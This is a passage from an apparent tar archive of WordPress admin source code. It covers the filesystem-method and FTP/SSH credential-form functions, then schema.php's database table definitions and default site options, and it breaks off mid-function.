	$method = "WP_Filesystem_$method";

$wp_filesystem = new $method($args);

//Define the timeouts for the connections. Only available after the construct is called to allow for per-transport overriding of the default.
	if ( ! defined('FS_CONNECT_TIMEOUT') )
		define('FS_CONNECT_TIMEOUT', 30);
	if ( ! defined('FS_TIMEOUT') )
		define('FS_TIMEOUT', 30);

if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
		return false;

if ( !$wp_filesystem->connect() )
		return false; //There was an error connecting to the server.

// Set the permission constants if not already set.
	if ( ! defined('FS_CHMOD_DIR') )
		define('FS_CHMOD_DIR', ( fileperms( ABSPATH ) & 0777 | 0755 ) );
	if ( ! defined('FS_CHMOD_FILE') )
		define('FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) );

return true;
}

/**
 * Determines which Filesystem Method to use.
 * The priority of the Transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets (Via Sockets class, or fsockopen())
 *
 * Note that the return value of this function can be overridden in 2 ways
 *  - By defining FS_METHOD in your <code>wp-config.php</code> file
 *  - By using the filesystem_method filter
 * Valid values for these are: 'direct', 'ssh2', 'ftpext' or 'ftpsockets'
 * Plugins may also define a custom transport handler, See the WP_Filesystem function for more information.
 *
 * @since 2.5.0
 *
 * @param array $args Connection details.
 * @param string $context Full path to the directory that is tested for being writable.
 * @return string The transport to use, see description for valid return values.
 */
function get_filesystem_method($args = array(), $context = false) {
	$method = defined('FS_METHOD') ? FS_METHOD : false; // Please ensure that this is either 'direct', 'ssh2', 'ftpext' or 'ftpsockets'

if ( ! $method && function_exists('getmyuid') && function_exists('fileowner') ){
		if ( !$context )
			$context = WP_CONTENT_DIR;

// If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it.
		if ( WP_LANG_DIR == $context && ! is_dir( $context ) )
			$context = dirname( $context );

$context = trailingslashit($context);
		$temp_file_name = $context . 'temp-write-test-' . time();
		$temp_handle = @fopen($temp_file_name, 'w');
		if ( $temp_handle ) {
			if ( getmyuid() == @fileowner($temp_file_name) )
				$method = 'direct';
			@fclose($temp_handle);
			@unlink($temp_file_name);
		}
 	}

if ( ! $method && isset($args['connection_type']) && 'ssh' == $args['connection_type'] && extension_loaded('ssh2') && function_exists('stream_get_contents') ) $method = 'ssh2';
	if ( ! $method && extension_loaded('ftp') ) $method = 'ftpext';
	if ( ! $method && ( extension_loaded('sockets') || function_exists('fsockopen') ) ) $method = 'ftpsockets'; //Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread

/**
	 * Filter the filesystem method to use.
	 *
	 * @since 2.6.0
	 *
	 * @param string $method Filesystem method to return.
	 * @param array  $args   An array of connection details for the method.
	 */
	return apply_filters( 'filesystem_method', $method, $args );
}

/**
 * Displays a form to the user to request for their FTP/SSH details in order to connect to the filesystem.
 * All chosen/entered details are saved, Excluding the Password.
 *
 * Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467) to specify an alternate FTP/SSH port.
 *
 * Plugins may override this form by returning true|false via the <code>request_filesystem_credentials</code> filter.
 *
 * @since 2.5.0
 *
 * @param string $form_post the URL to post the form to
 * @param string $type the chosen Filesystem method in use
 * @param boolean $error if the current request has failed to connect
 * @param string $context The directory which is needed access to, The write-test will be performed on this directory by get_filesystem_method()
 * @param string $extra_fields Extra POST fields which should be checked for to be included in the post.
 * @return boolean False on failure. True on success.
 */
function request_filesystem_credentials($form_post, $type = '', $error = false, $context = false, $extra_fields = null) {

/**
	 * Filter the filesystem credentials form output.
	 *
	 * Returning anything other than an empty string will effectively short-circuit
	 * output of the filesystem credentials form, returning that value instead.
	 *
	 * @since 2.5.0
	 *
	 * @param mixed  $output       Form output to return instead. Default empty.
	 * @param string $form_post    URL to POST the form to.
	 * @param string $type         Chosen type of filesystem.
	 * @param bool   $error        Whether the current request has failed to connect.
	 *                             Default false.
	 * @param string $context      Full path to the directory that is tested for
	 *                             being writable.
	 * @param array  $extra_fields Extra POST fields.
	 */
	$req_cred = apply_filters( 'request_filesystem_credentials', '', $form_post, $type, $error, $context, $extra_fields );
	if ( '' !== $req_cred )
		return $req_cred;

if ( empty($type) )
		$type = get_filesystem_method(array(), $context);

if ( 'direct' == $type )
		return true;

if ( is_null( $extra_fields ) )
		$extra_fields = array( 'version', 'locale' );

$credentials = get_option('ftp_credentials', array( 'hostname' => '', 'username' => ''));

$submitted_form = wp_unslash( $_POST );

// Verify nonce, or unset submitted form field values on failure
	if ( ! isset( $_POST['_fs_nonce'] ) || ! wp_verify_nonce( $_POST['_fs_nonce'], 'filesystem-credentials' ) ) {
		unset(
			$submitted_form['hostname'],
			$submitted_form['username'],
			$submitted_form['password'],
			$submitted_form['public_key'],
			$submitted_form['private_key'],
			$submitted_form['connection_type']
		);
	}

// If defined, set it to that, Else, If POST'd, set it to that, If not, Set it to whatever it previously was(saved details in option)
	$credentials['hostname'] = defined('FTP_HOST') ? FTP_HOST : (!empty($submitted_form['hostname']) ? $submitted_form['hostname'] : $credentials['hostname']);
	$credentials['username'] = defined('FTP_USER') ? FTP_USER : (!empty($submitted_form['username']) ? $submitted_form['username'] : $credentials['username']);
	$credentials['password'] = defined('FTP_PASS') ? FTP_PASS : (!empty($submitted_form['password']) ? $submitted_form['password'] : '');

// Check to see if we are setting the public/private keys for ssh
	$credentials['public_key'] = defined('FTP_PUBKEY') ? FTP_PUBKEY : (!empty($submitted_form['public_key']) ? $submitted_form['public_key'] : '');
	$credentials['private_key'] = defined('FTP_PRIKEY') ? FTP_PRIKEY : (!empty($submitted_form['private_key']) ? $submitted_form['private_key'] : '');

//sanitize the hostname, Some people might pass in odd-data:
	$credentials['hostname'] = preg_replace('|\w+://|', '', $credentials['hostname']); //Strip any schemes off

if ( strpos($credentials['hostname'], ':') ) {
		list( $credentials['hostname'], $credentials['port'] ) = explode(':', $credentials['hostname'], 2);
		if ( ! is_numeric($credentials['port']) )
			unset($credentials['port']);
	} else {
		unset($credentials['port']);
	}

if ( ( defined('FTP_SSH') && FTP_SSH ) || ( defined('FS_METHOD') && 'ssh2' == FS_METHOD ) )
		$credentials['connection_type'] = 'ssh';
	else if ( (defined('FTP_SSL') && FTP_SSL) && 'ftpext' == $type ) //Only the FTP Extension understands SSL
		$credentials['connection_type'] = 'ftps';
	else if ( !empty($submitted_form['connection_type']) )
		$credentials['connection_type'] = $submitted_form['connection_type'];
	else if ( !isset($credentials['connection_type']) ) //All else fails (And it's not defaulted to something else saved), Default to FTP
		$credentials['connection_type'] = 'ftp';

if ( ! $error &&
			(
				( !empty($credentials['password']) && !empty($credentials['username']) && !empty($credentials['hostname']) ) ||
				( 'ssh' == $credentials['connection_type'] && !empty($credentials['public_key']) && !empty($credentials['private_key']) )
			) ) {
		$stored_credentials = $credentials;
		if ( !empty($stored_credentials['port']) ) //save port as part of hostname to simplify above code.
			$stored_credentials['hostname'] .= ':' . $stored_credentials['port'];

unset($stored_credentials['password'], $stored_credentials['port'], $stored_credentials['private_key'], $stored_credentials['public_key']);
		update_option('ftp_credentials', $stored_credentials);
		return $credentials;
	}
	$hostname = '';
	$username = '';
	$password = '';
	$connection_type = '';
	if ( !empty($credentials) )
		extract($credentials, EXTR_OVERWRITE);
	if ( $error ) {
		$error_string = __('<strong>ERROR:</strong> There was an error connecting to the server, Please verify the settings are correct.');
		if ( is_wp_error($error) )
			$error_string = esc_html( $error->get_error_message() );
		echo '<div id="message" class="error"><p>' . $error_string . '</p></div>';
	}

$types = array();
	if ( extension_loaded('ftp') || extension_loaded('sockets') || function_exists('fsockopen') )
		$types[ 'ftp' ] = __('FTP');
	if ( extension_loaded('ftp') ) //Only this supports FTPS
		$types[ 'ftps' ] = __('FTPS (SSL)');
	if ( extension_loaded('ssh2') && function_exists('stream_get_contents') )
		$types[ 'ssh' ] = __('SSH2');

/**
	 * Filter the connection types to output to the filesystem credentials form.
	 *
	 * @since 2.9.0
	 *
	 * @param array  $types       Types of connections.
	 * @param array  $credentials Credentials to connect with.
	 * @param string $type        Chosen filesystem method.
	 * @param object $error       Error object.
	 * @param string $context     Full path to the directory that is tested
	 *                            for being writable.
	 */
	$types = apply_filters( 'fs_ftp_connection_types', $types, $credentials, $type, $error, $context );

?>
<script type="text/javascript">

</script>
<form action="<?php echo esc_url( $form_post ) ?>" method="post">
<div>
<h3><?php _e('Connection Information') ?></h3>
<p><?php
	$label_user = __('Username');
	$label_pass = __('Password');
	_e('To perform the requested action, WordPress needs to access your web server.');
	echo ' ';
	if ( ( isset( $types['ftp'] ) || isset( $types['ftps'] ) ) ) {
		if ( isset( $types['ssh'] ) ) {
			_e('Please enter your FTP or SSH credentials to proceed.');
			$label_user = __('FTP/SSH Username');
			$label_pass = __('FTP/SSH Password');
		} else {
			_e('Please enter your FTP credentials to proceed.');
			$label_user = __('FTP Username');
			$label_pass = __('FTP Password');
		}
		echo ' ';
	}
	_e('If you do not remember your credentials, you should contact your web host.');
?></p>
<table class="form-table">
<tr>
<th scope="row"><label for="hostname"><?php _e('Hostname') ?></label></th>
<td><input name="hostname" type="text" id="hostname" value="<?php echo esc_attr($hostname); if ( !empty($port) ) echo ":$port"; ?>"<?php disabled( defined('FTP_HOST') ); ?> size="40" /></td>
</tr>

<?php if ( isset($types['ssh']) ) : ?>
<tr id="ssh_keys" style="<?php if ( 'ssh' != $connection_type ) echo 'display:none' ?>">
<th scope="row"><?php _e('Authentication Keys') ?>
<div class="key-labels textright">
<label for="public_key"><?php _e('Public Key:') ?></label ><br />
<label for="private_key"><?php _e('Private Key:') ?></label>
</div></th>
<td><br /><input name="public_key" type="text" id="public_key" value="<?php echo esc_attr($public_key) ?>"<?php disabled( defined('FTP_PUBKEY') ); ?> size="40" /><br /><input name="private_key" type="text" id="private_key" value="<?php echo esc_attr($private_key) ?>"<?php disabled( defined('FTP_PRIKEY') ); ?> size="40" />
<div><?php _e('Enter the location on the server where the keys are located. If a passphrase is needed, enter that in the password field above.') ?></div></td>
</tr>
<?php endif; ?>

<tr>
<th scope="row"><?php _e('Connection Type') ?></th>
<td>
<fieldset><legend class="screen-reader-text"><span><?php _e('Connection Type') ?></span></legend>
<?php
	$disabled = disabled( (defined('FTP_SSL') && FTP_SSL) || (defined('FTP_SSH') && FTP_SSH), true, false );
	foreach ( $types as $name => $text ) : ?>
	<label for="<?php echo esc_attr($name) ?>">
		<input type="radio" name="connection_type" id="<?php echo esc_attr($name) ?>" value="<?php echo esc_attr($name) ?>"<?php checked($name, $connection_type); echo $disabled; ?> />
		<?php echo $text ?>
	</label>
	<?php endforeach; ?>
</fieldset>
</td>
</tr>
</table>

<?php
foreach ( (array) $extra_fields as $field ) {
	if ( isset( $submitted_form[ $field ] ) )
		echo '<input type="hidden" name="' . esc_attr( $field ) . '" value="' . esc_attr( $submitted_form[ $field ] ) . '" />';
}
?>
	<p class="request-filesystem-credentials-action-buttons">
		<?php wp_nonce_field( 'filesystem-credentials', '_fs_nonce', false, true ); ?>
		<?php submit_button( __( 'Proceed' ), 'button', 'upgrade', false ); ?>
	</p>
</div>
</form>
<?php
	return false;
}
schema.php000077700000101470151514577750006550 0ustar00<?php
/**
 * WordPress Administration Scheme API
 *
 * Here we keep the DB structure and option values.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Declare these as global in case schema.php is included from a function.
global $wpdb, $wp_queries, $charset_collate;

/**
 * The database character collate.
 * @var string
 * @global string
 * @name $charset_collate
 */
$charset_collate = $wpdb->get_charset_collate();

/**
 * Retrieve the SQL for creating database tables.
 *
 * @since 3.3.0
 *
 * @param string $scope Optional. The tables for which to retrieve SQL. Can be all, global, ms_global, or blog tables. Defaults to all.
 * @param int $blog_id Optional. The blog ID for which to retrieve SQL. Default is the current blog ID.
 * @return string The SQL needed to create the requested tables.
 */
function wp_get_db_schema( $scope = 'all', $blog_id = null ) {
	global $wpdb;

$charset_collate = '';

if ( ! empty($wpdb->charset) )
		$charset_collate = "DEFAULT CHARACTER SET $wpdb->charset";
	if ( ! empty($wpdb->collate) )
		$charset_collate .= " COLLATE $wpdb->collate";

if ( $blog_id && $blog_id != $wpdb->blogid )
		$old_blog_id = $wpdb->set_blog_id( $blog_id );

// Engage multisite if in the middle of turning it on from network.php.
	$is_multisite = is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK );

// Blog specific tables.
	$blog_tables = "CREATE TABLE $wpdb->terms (
 term_id bigint(20) unsigned NOT NULL auto_increment,
 name varchar(200) NOT NULL default '',
 slug varchar(200) NOT NULL default '',
 term_group bigint(10) NOT NULL default 0,
 PRIMARY KEY  (term_id),
 UNIQUE KEY slug (slug),
 KEY name (name)
) $charset_collate;
CREATE TABLE $wpdb->term_taxonomy (
 term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment,
 term_id bigint(20) unsigned NOT NULL default 0,
 taxonomy varchar(32) NOT NULL default '',
 description longtext NOT NULL,
 parent bigint(20) unsigned NOT NULL default 0,
 count bigint(20) NOT NULL default 0,
 PRIMARY KEY  (term_taxonomy_id),
 UNIQUE KEY term_id_taxonomy (term_id,taxonomy),
 KEY taxonomy (taxonomy)
) $charset_collate;
CREATE TABLE $wpdb->term_relationships (
 object_id bigint(20) unsigned NOT NULL default 0,
 term_taxonomy_id bigint(20) unsigned NOT NULL default 0,
 term_order int(11) NOT NULL default 0,
 PRIMARY KEY  (object_id,term_taxonomy_id),
 KEY term_taxonomy_id (term_taxonomy_id)
) $charset_collate;
CREATE TABLE $wpdb->commentmeta (
  meta_id bigint(20) unsigned NOT NULL auto_increment,
  comment_id bigint(20) unsigned NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (meta_id),
  KEY comment_id (comment_id),
  KEY meta_key (meta_key)
) $charset_collate;
CREATE TABLE $wpdb->comments (
  comment_ID bigint(20) unsigned NOT NULL auto_increment,
  comment_post_ID bigint(20) unsigned NOT NULL default '0',
  comment_author tinytext NOT NULL,
  comment_author_email varchar(100) NOT NULL default '',
  comment_author_url varchar(200) NOT NULL default '',
  comment_author_IP varchar(100) NOT NULL default '',
  comment_date datetime NOT NULL default '0000-00-00 00:00:00',
  comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
  comment_content text NOT NULL,
  comment_karma int(11) NOT NULL default '0',
  comment_approved varchar(20) NOT NULL default '1',
  comment_agent varchar(255) NOT NULL default '',
  comment_type varchar(20) NOT NULL default '',
  comment_parent bigint(20) unsigned NOT NULL default '0',
  user_id bigint(20) unsigned NOT NULL default '0',
  PRIMARY KEY  (comment_ID),
  KEY comment_post_ID (comment_post_ID),
  KEY comment_approved_date_gmt (comment_approved,comment_date_gmt),
  KEY comment_date_gmt (comment_date_gmt),
  KEY comment_parent (comment_parent)
) $charset_collate;
CREATE TABLE $wpdb->links (
  link_id bigint(20) unsigned NOT NULL auto_increment,
  link_url varchar(255) NOT NULL default '',
  link_name varchar(255) NOT NULL default '',
  link_image varchar(255) NOT NULL default '',
  link_target varchar(25) NOT NULL default '',
  link_description varchar(255) NOT NULL default '',
  link_visible varchar(20) NOT NULL default 'Y',
  link_owner bigint(20) unsigned NOT NULL default '1',
  link_rating int(11) NOT NULL default '0',
  link_updated datetime NOT NULL default '0000-00-00 00:00:00',
  link_rel varchar(255) NOT NULL default '',
  link_notes mediumtext NOT NULL,
  link_rss varchar(255) NOT NULL default '',
  PRIMARY KEY  (link_id),
  KEY link_visible (link_visible)
) $charset_collate;
CREATE TABLE $wpdb->options (
  option_id bigint(20) unsigned NOT NULL auto_increment,
  option_name varchar(64) NOT NULL default '',
  option_value longtext NOT NULL,
  autoload varchar(20) NOT NULL default 'yes',
  PRIMARY KEY  (option_id),
  UNIQUE KEY option_name (option_name)
) $charset_collate;
CREATE TABLE $wpdb->postmeta (
  meta_id bigint(20) unsigned NOT NULL auto_increment,
  post_id bigint(20) unsigned NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (meta_id),
  KEY post_id (post_id),
  KEY meta_key (meta_key)
) $charset_collate;
CREATE TABLE $wpdb->posts (
  ID bigint(20) unsigned NOT NULL auto_increment,
  post_author bigint(20) unsigned NOT NULL default '0',
  post_date datetime NOT NULL default '0000-00-00 00:00:00',
  post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
  post_content longtext NOT NULL,
  post_title text NOT NULL,
  post_excerpt text NOT NULL,
  post_status varchar(20) NOT NULL default 'publish',
  comment_status varchar(20) NOT NULL default 'open',
  ping_status varchar(20) NOT NULL default 'open',
  post_password varchar(20) NOT NULL default '',
  post_name varchar(200) NOT NULL default '',
  to_ping text NOT NULL,
  pinged text NOT NULL,
  post_modified datetime NOT NULL default '0000-00-00 00:00:00',
  post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00',
  post_content_filtered longtext NOT NULL,
  post_parent bigint(20) unsigned NOT NULL default '0',
  guid varchar(255) NOT NULL default '',
  menu_order int(11) NOT NULL default '0',
  post_type varchar(20) NOT NULL default 'post',
  post_mime_type varchar(100) NOT NULL default '',
  comment_count bigint(20) NOT NULL default '0',
  PRIMARY KEY  (ID),
  KEY post_name (post_name),
  KEY type_status_date (post_type,post_status,post_date,ID),
  KEY post_parent (post_parent),
  KEY post_author (post_author)
) $charset_collate;\n";

// Single site users table. The multisite flavor of the users table is handled below.
	$users_single_table = "CREATE TABLE $wpdb->users (
  ID bigint(20) unsigned NOT NULL auto_increment,
  user_login varchar(60) NOT NULL default '',
  user_pass varchar(64) NOT NULL default '',
  user_nicename varchar(50) NOT NULL default '',
  user_email varchar(100) NOT NULL default '',
  user_url varchar(100) NOT NULL default '',
  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
  user_activation_key varchar(60) NOT NULL default '',
  user_status int(11) NOT NULL default '0',
  display_name varchar(250) NOT NULL default '',
  PRIMARY KEY  (ID),
  KEY user_login_key (user_login),
  KEY user_nicename (user_nicename)
) $charset_collate;\n";

// Multisite users table
	$users_multi_table = "CREATE TABLE $wpdb->users (
  ID bigint(20) unsigned NOT NULL auto_increment,
  user_login varchar(60) NOT NULL default '',
  user_pass varchar(64) NOT NULL default '',
  user_nicename varchar(50) NOT NULL default '',
  user_email varchar(100) NOT NULL default '',
  user_url varchar(100) NOT NULL default '',
  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
  user_activation_key varchar(60) NOT NULL default '',
  user_status int(11) NOT NULL default '0',
  display_name varchar(250) NOT NULL default '',
  spam tinyint(2) NOT NULL default '0',
  deleted tinyint(2) NOT NULL default '0',
  PRIMARY KEY  (ID),
  KEY user_login_key (user_login),
  KEY user_nicename (user_nicename)
) $charset_collate;\n";

// usermeta
	$usermeta_table = "CREATE TABLE $wpdb->usermeta (
  umeta_id bigint(20) unsigned NOT NULL auto_increment,
  user_id bigint(20) unsigned NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (umeta_id),
  KEY user_id (user_id),
  KEY meta_key (meta_key)
) $charset_collate;\n";

// Global tables
	if ( $is_multisite )
		$global_tables = $users_multi_table . $usermeta_table;
	else
		$global_tables = $users_single_table . $usermeta_table;

// Multisite global tables.
	$ms_global_tables = "CREATE TABLE $wpdb->blogs (
  blog_id bigint(20) NOT NULL auto_increment,
  site_id bigint(20) NOT NULL default '0',
  domain varchar(200) NOT NULL default '',
  path varchar(100) NOT NULL default '',
  registered datetime NOT NULL default '0000-00-00 00:00:00',
  last_updated datetime NOT NULL default '0000-00-00 00:00:00',
  public tinyint(2) NOT NULL default '1',
  archived tinyint(2) NOT NULL default '0',
  mature tinyint(2) NOT NULL default '0',
  spam tinyint(2) NOT NULL default '0',
  deleted tinyint(2) NOT NULL default '0',
  lang_id int(11) NOT NULL default '0',
  PRIMARY KEY  (blog_id),
  KEY domain (domain(50),path(5)),
  KEY lang_id (lang_id)
) $charset_collate;
CREATE TABLE $wpdb->blog_versions (
  blog_id bigint(20) NOT NULL default '0',
  db_version varchar(20) NOT NULL default '',
  last_updated datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY  (blog_id),
  KEY db_version (db_version)
) $charset_collate;
CREATE TABLE $wpdb->registration_log (
  ID bigint(20) NOT NULL auto_increment,
  email varchar(255) NOT NULL default '',
  IP varchar(30) NOT NULL default '',
  blog_id bigint(20) NOT NULL default '0',
  date_registered datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY  (ID),
  KEY IP (IP)
) $charset_collate;
CREATE TABLE $wpdb->site (
  id bigint(20) NOT NULL auto_increment,
  domain varchar(200) NOT NULL default '',
  path varchar(100) NOT NULL default '',
  PRIMARY KEY  (id),
  KEY domain (domain,path)
) $charset_collate;
CREATE TABLE $wpdb->sitemeta (
  meta_id bigint(20) NOT NULL auto_increment,
  site_id bigint(20) NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (meta_id),
  KEY meta_key (meta_key),
  KEY site_id (site_id)
) $charset_collate;
CREATE TABLE $wpdb->signups (
  signup_id bigint(20) NOT NULL auto_increment,
  domain varchar(200) NOT NULL default '',
  path varchar(100) NOT NULL default '',
  title longtext NOT NULL,
  user_login varchar(60) NOT NULL default '',
  user_email varchar(100) NOT NULL default '',
  registered datetime NOT NULL default '0000-00-00 00:00:00',
  activated datetime NOT NULL default '0000-00-00 00:00:00',
  active tinyint(1) NOT NULL default '0',
  activation_key varchar(50) NOT NULL default '',
  meta longtext,
  PRIMARY KEY  (signup_id),
  KEY activation_key (activation_key),
  KEY user_email (user_email),
  KEY user_login_email (user_login,user_email),
  KEY domain_path (domain,path)
) $charset_collate;";

switch ( $scope ) {
		case 'blog' :
			$queries = $blog_tables;
			break;
		case 'global' :
			$queries = $global_tables;
			if ( $is_multisite )
				$queries .= $ms_global_tables;
			break;
		case 'ms_global' :
			$queries = $ms_global_tables;
			break;
		default:
		case 'all' :
			$queries = $global_tables . $blog_tables;
			if ( $is_multisite )
				$queries .= $ms_global_tables;
			break;
	}

if ( isset( $old_blog_id ) )
		$wpdb->set_blog_id( $old_blog_id );

return $queries;
}

// Populate for back compat.
$wp_queries = wp_get_db_schema( 'all' );

/**
 * Create WordPress options and set the default values.
 *
 * @since 1.5.0
 * @uses $wpdb
 * @uses $wp_db_version
 */
function populate_options() {
	global $wpdb, $wp_db_version, $wp_current_db_version;

$guessurl = wp_guess_url();
	/**
	 * Fires before creating WordPress options and populating their default values.
	 *
	 * @since 2.6.0
	 */
	do_action( 'populate_options' );

if ( ini_get('safe_mode') ) {
		// Safe mode can break mkdir() so use a flat structure by default.
		$uploads_use_yearmonth_folders = 0;
	} else {
		$uploads_use_yearmonth_folders = 1;
	}

$template = WP_DEFAULT_THEME;
	// If default theme is a child theme, we need to get its template
	$theme = wp_get_theme( $template );
	if ( ! $theme->errors() )
		$template = $theme->get_template();

$timezone_string = '';
	$gmt_offset = 0;
	/* translators: default GMT offset or timezone string. Must be either a valid offset (-12 to 14)
	   or a valid timezone string (America/New_York). See http://us3.php.net/manual/en/timezones.php
	   for all timezone strings supported by PHP.
	*/
	$offset_or_tz = _x( '0', 'default GMT offset or timezone string' );
	if ( is_numeric( $offset_or_tz ) )
		$gmt_offset = $offset_or_tz;
	elseif ( $offset_or_tz && in_array( $offset_or_tz, timezone_identifiers_list() ) )
			$timezone_string = $offset_or_tz;

$options = array(
	'siteurl' => $guessurl,
	'blogname' => __('My Site'),
	/* translators: blog tagline */
	'blogdescription' => __('Just another WordPress site'),
	'users_can_register' => 0,
	'admin_email' => 'you@example.com',
	/* translators: default start of the week. 0 = Sunday, 1 = Monday */
	'start_of_week' => _x( '1', 'start of week' ),
	'use_balanceTags' => 0,
	'use_smilies' => 1,
	'require_name_email' => 1,
	'comments_notify' => 1,
	'posts_per_rss' => 10,
	'rss_use_excerpt' => 0,
	'mailserver_url' => 'mail.example.com',
	'mailserver_login' => 'login@example.com',
	'mailserver_pass' => 'password',
	'mailserver_port' => 110,
	'default_category' => 1,
	'default_comment_status' => 'open',
	'default_ping_status' => 'open',
	'default_pingback_flag' => 1,
	'posts_per_page' => 10,
	/* translators: default date format, see http://php.net/date */
	'date_format' => __('F j, Y'),
	/* translators: default time format, see http://php.net/date */
	'time_format' => __('g:i a'),
	/* translators: links last updated date format, see http://php.net/date */
	'links_updated_date_format' => __('F j, Y g:i a'),
	'comment_moderation' => 0,
	'moderation_notify' => 1,
	'permalink_structure' => '',
	'gzipcompression' => 0,
	'hack_file' => 0,
	'blog_charset' => 'UTF-8',
	'moderation_keys' => '',
	'active_plugins' => array(),
	'home' => $guessurl,
	'category_base' => '',
	'ping_sites' => 'http://rpc.pingomatic.com/',
	'advanced_edit' => 0,
	'comment_max_links' => 2,
	'gmt_offset' => $gmt_offset,

// 1.5
	'default_email_category' => 1,
	'recently_edited' => '',
	'template' => $template,
	'stylesheet' => WP_DEFAULT_THEME,
	'comment_whitelist' => 1,
	'blacklist_keys' => '',
	'comment_registration' => 0,
	'html_type' => 'text/html',

// 1.5.1
	'use_trackback' => 0,

// 2.0
	'default_role' => 'subscriber',
	'db_version' => $wp_db_version,

// 2.0.1
	'uploads_use_yearmonth_folders' => $uploads_use_yearmonth_folders,
	'upload_path' => '',

// 2.1
	'blog_public' => '1',
	'default_link_category' => 2,
	'show_on_front' => 'posts',

// 2.2
	'tag_base' => '',

// 2.5
	'show_avatars' => '1',
	'avatar_rating' => 'G',
	'upload_url_path' => '',
	'thumbnail_size_w' => 150,
	'thumbnail_size_h' => 150,
	'thumbnail_crop' => 1,
	'medium_size_w' => 300,
	'medium_size_h' => 300,

// 2.6
	'avatar_default' => 'mystery',

// 2.7
	'large_size_w' => 1024,
	'large_size_h' => 1024,
	'image_default_link_type' => 'file',
	'image_default_size' => '',
	'image_default_align' => '',
	'close_comments_for_old_posts' => 0,
	'close_comments_days_old' => 14,
	'thread_comments' => 1,
	'thread_comments_depth' => 5,
	'page_comments' => 0,
	'comments_per_page' => 50,
	'default_comments_page' => 'newest',
	'comment_order' => 'asc',
	'sticky_posts' => array(),
	'widget_categories' => array(),
	'widget_text' => array(),
	'widget_rss' => array(),
	'uninstall_plugins' => array(),

// 2.8
	'timezone_string' => $timezone_string,

// 3.0
	'page_for_posts' => 0,
	'page_on_front' => 0,

// 3.1
	'default_post_format' => 0,

// 3.5
	'link_manager_enabled' => 0,
	);

// 3.3
	if ( ! is_multisite() ) {
		$options['initial_db_version'] = ! empty( $wp_current_db_version ) && $wp_current_db_version < $wp_db_version
			? $wp_current_db_version : $wp_db_version;
	}

// 3.0 multisite
	if ( is_multisite() ) {
		/* translators: blog tagline */
		$options[ 'blogdescription' ] = sprintf(__('Just another %s site'), get_current_site()->site_name );
		$options[ 'permalink_structure' ] = '/%year%/%monthnum%/%day%/%postname%/';
	}

// Set autoload to no for these options
	$fat_options = array( 'moderation_keys', 'recently_edited', 'blacklist_keys', 'uninstall_plugins' );

$keys = "'" . implode( "', '", array_keys( $options ) ) . "'";
	$existing_options = $wpdb->get_col( "SELECT option_name FROM $wpdb->options WHERE option_name in ( $keys )" );

$insert = '';
	foreach ( $options as $option => $value ) {
		if ( in_array($option, $existing_options) )
			continue;
		if ( in_array($option, $fat_options) )
			$autoload = 'no';
		else
			$autoload = 'yes';

if ( is_array($value) )
			$value = serialize($value);
		if ( !empty($insert) )
			$insert .= ', ';
		$insert .= $wpdb->prepare( "(%s, %s, %s)", $option, $value, $autoload );
	}

if ( !empty($insert) )
		$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert);

// in case it is set, but blank, update "home"
	if ( !__get_option('home') ) update_option('home', $guessurl);

// Delete unused options
	$unusedoptions = array(
		'blodotgsping_url', 'bodyterminator', 'emailtestonly', 'phoneemail_separator', 'smilies_directory',
		'subjectprefix', 'use_bbcode', 'use_blodotgsping', 'use_phoneemail', 'use_quicktags', 'use_weblogsping',
		'weblogs_cache_file', 'use_preview', 'use_htmltrans', 'smilies_directory', 'fileupload_allowedusers',
		'use_phoneemail', 'default_post_status', 'default_post_category', 'archive_mode', 'time_difference',
		'links_minadminlevel', 'links_use_adminlevels', 'links_rating_type', 'links_rating_char',
		'links_rating_ignore_zero', 'links_rating_single_image', 'links_rating_image0', 'links_rating_image1',
		'links_rating_image2', 'links_rating_image3', 'links_rating_image4', 'links_rating_image5',
		'links_rating_image6', 'links_rating_image7', 'links_rating_image8', 'links_rating_image9',
		'links_recently_updated_time', 'links_recently_updated_prepend', 'links_recently_updated_append',
		'weblogs_cacheminutes', 'comment_allowed_tags', 'search_engine_friendly_urls', 'default_geourl_lat',
		'default_geourl_lon', 'use_default_geourl', 'weblogs_xml_url', 'new_users_can_blog', '_wpnonce',
		'_wp_http_referer', 'Update', 'action', 'rich_editing', 'autosave_interval', 'deactivated_plugins',
		'can_compress_scripts', 'page_uris', 'update_core', 'update_plugins', 'update_themes', 'doing_cron',
		'random_seed', 'rss_excerpt_length', 'secret', 'use_linksupdate', 'default_comment_status_page',
		'wporg_popular_tags', 'what_to_show', 'rss_language', 'language', 'enable_xmlrpc', 'enable_app',
		'embed_autourls', 'default_post_edit_rows',
	);
	foreach ( $unusedoptions as $option )
		delete_option($option);

// delete obsolete magpie stuff
	$wpdb->query("DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'");

// Deletes all expired transients.
	// The multi-table delete syntax is used to delete the transient record from table a,
	// and the corresponding transient_timeout record from table b.
	$time = time();
	$wpdb->query("DELETE a, b FROM $wpdb->options a, $wpdb->options b WHERE
	        a.option_name LIKE '\_transient\_%' AND
	        a.option_name NOT LIKE '\_transient\_timeout\_%' AND
	        b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) )
	        AND b.option_value < $time");

if ( is_main_site() && is_main_network() ) {
